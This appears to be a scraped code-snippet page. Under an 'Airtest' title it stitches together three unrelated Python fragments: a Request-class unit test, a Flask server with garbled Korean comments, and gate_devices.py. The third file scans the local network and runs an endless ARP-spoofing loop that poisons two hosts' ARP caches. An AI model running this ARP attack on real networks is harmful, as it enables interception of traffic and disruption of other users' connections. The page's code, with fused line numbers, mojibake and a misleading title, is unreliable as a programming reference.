Best Python code snippet using Airtest
test_request.py
Source:test_request.py  
...25        'gateway_addresses': ['12.34.56.78:1234', 'http://127.0.0.1:80'],26        }27    request = Request(**values)28    assert request.get_gateway_protocol() == values['gateway_protocol']29    assert request.get_gateway_address() == values['gateway_addresses'][1]30    assert request.get_client_address() == values['client_address']31    assert request.get_service_name() == ''32    assert request.get_service_version() == ''33    assert request.get_action_name() == ''34    assert request.get_http_request() is None35    # Check service related setters36    request.set_service_name(service_name)37    request.set_service_version(service_version)38    request.set_action_name(action_name)39    assert request.get_service_name() == service_name40    assert request.get_service_version() == service_version41    assert request.get_action_name() == action_name42    # Check parameters43    assert request.get_params() == []44    assert request.has_param('foo') is False45    param = request.get_param('foo')46    assert isinstance(param, Param)47    assert not param.exists()48    param = Param('foo', value=42)49    assert request.set_param(param) == request50    assert request.has_param('foo')51    # Result is not the same parameter, but is has the same values52    foo_param = request.get_param('foo')53    assert foo_param != param54    assert foo_param.get_name() == param.get_name()55    assert foo_param.get_type() == param.get_type()56    assert foo_param.get_value() == param.get_value()57    params = request.get_params()58    assert len(params) == 159    foo_param = params[0]60    assert foo_param.get_name() == param.get_name()61    assert foo_param.get_type() == param.get_type()62    assert foo_param.get_value() == param.get_value()63def test_api_request_new_response():64    SchemaRegistry()65    values = {66        'rid': 'TEST',67        'attributes': {},68        'component': object(),69        'path': '/path/to/file.py',70        'name': 'dummy',71        'version': '1.0',72        'framework_version': '1.0.0',73        'client_address': '205.81.5.62:7681',74        'gateway_protocol': urn.HTTP,75        'gateway_addresses': ['12.34.56.78:1234', 'http://127.0.0.1:80'],76        }77    request = Request(**values)78    # Create an HTTP response with default values79    response = request.new_response()80    assert isinstance(response, Response)81    assert response.get_gateway_protocol() == request.get_gateway_protocol()82    assert response.get_gateway_address() == request.get_gateway_address()83    assert isinstance(response.get_transport(), Transport)84    # An HTTP response is created when using HTTP as protocol85    http_response = response.get_http_response()86    assert http_response is not None87    assert http_response.get_status() == '200 OK'88    # Create a response with HTTP status values89    response = request.new_response(418, "I'm a teapot")90    assert isinstance(response, Response)91    http_response = response.get_http_response()92    assert http_response is not None93    assert http_response.get_status() == "418 I'm a teapot"94    # Create a response for other ptotocol95    values['gateway_protocol'] = urn.KTP96    request = Request(**values)97    response = request.new_response()98    assert isinstance(response, Response)99    assert response.get_gateway_protocol() == request.get_gateway_protocol()100    assert response.get_gateway_address() == request.get_gateway_address()101    assert isinstance(response.get_transport(), Transport)102    # Check that no HTTP response was created103    assert response.get_http_response() is None104    # Create an HTTP request with request data105    values['gateway_protocol'] = urn.HTTP106    values['http_request'] = {107        'method': 'GET',108        'url': 'http://foo.com/bar/index/',109        }110    request = Request(**values)111    assert isinstance(request.get_http_request(), HttpRequest)112def test_api_request_new_param():113    SchemaRegistry()114    values = {...server.py
Source:server.py  
...4from folium import plugins5import netifaces6app = Flask(__name__)7'''8* get_gateway_address()ë LocalHost gateway ì ë³´ë¥¼ ë°í9* @ https://pypi.org/project/netifaces/10* @ ex) ìì±ìì ip 주ìì¸ '192.168.0.10'ì ë°í11'''12def get_gateway_address():13    return netifaces.gateways()['default'][2][0]14# DB 기본 ì¤ì 15HOST = get_gateway_address() #'192.168.0.10'16# HOST = 'localhost'17PORT = 330618USER = "username"19PASSWD = "dbpass"20CHARSET = "utf8"21db_name = 'travel'22table_name = ['countries_location', 'status']23'''24* Databaseë¡ ì ê·¼íì¬ status tableì ëª¨ë  ì ë³´ë¥¼ ê°ì ¸ì´25* @ pymysql 모ëì ì¬ì©í´ DBë¡ ì ê·¼íê³  ('ì
êµê·ì ', 'ê²ìê·ì ','격리ê·ì ','íì¹ê·ì ')ê°ì returní¨26* @ cursor ê°ì²´ì execute() ë©ìë를 ì¬ì©íì¬ ìì±í ì½ë를 DBìë²ì ë³´ë27'''28def get_datas(country:str) -> str:29    with pymysql.connect(...gate_devices.py
Source:gate_devices.py  
...3from termcolor import colored4import time5def has_root():6    return os.geteuid() == 07def get_gateway_address():8    gateways = netifaces.gateways()9    global gateway_address10    gateway_address = gateways["default"][netifaces.AF_INET][0]11def connected(ip_range):12     arp_request = ARP(pdst=ip_range)13     broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")14     arp_request_broadcast = broadcast/arp_request15     response = srp(arp_request_broadcast, timeout=1, verbose=False)[0]16     global clients17     clients = []18     for client in response:19          client_info = {"ip" : client[1].psrc, "mac" : client[1].src}20          clients.append(client_info)21     print(colored(clients, 'blue'))22def call_connected():23     get_gateway_address()24     class_a = [i for i in range(0,127)]25     class_b = [i for i in range(127,192)]26     class_c = [i for i in range(192,224)]27     g_s = gateway_address.split('.')28     g_s[-1] = '0'29     range_ip = ".".join(g_s)30     if int(g_s[0]) in class_a:31          connected(f'{range_ip}/8')32     elif int(g_s[0]) in class_b:33          connected(f'{range_ip}/16')34     elif int(g_s[0]) in class_c:35          connected(f'{range_ip}/24')36     else:37          print("Adresse IP non prise en charge")38def attack():39     get_gateway_address()40     if len(clients) > 1:41          print("Lauching attack...")42          while True:43               packet = ARP(44                    op=2,45                    psrc = clients[0]['ip'],46                    hwsrc = clients[0]['mac'],47                    pdst = clients[1]['ip'],48                    hwdst = clients[1]['mac'],49               )50               send(packet, verbose=False)51     else:52          print(colored("No devices to attack", "red"))53if __name__ == "__main__":...Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
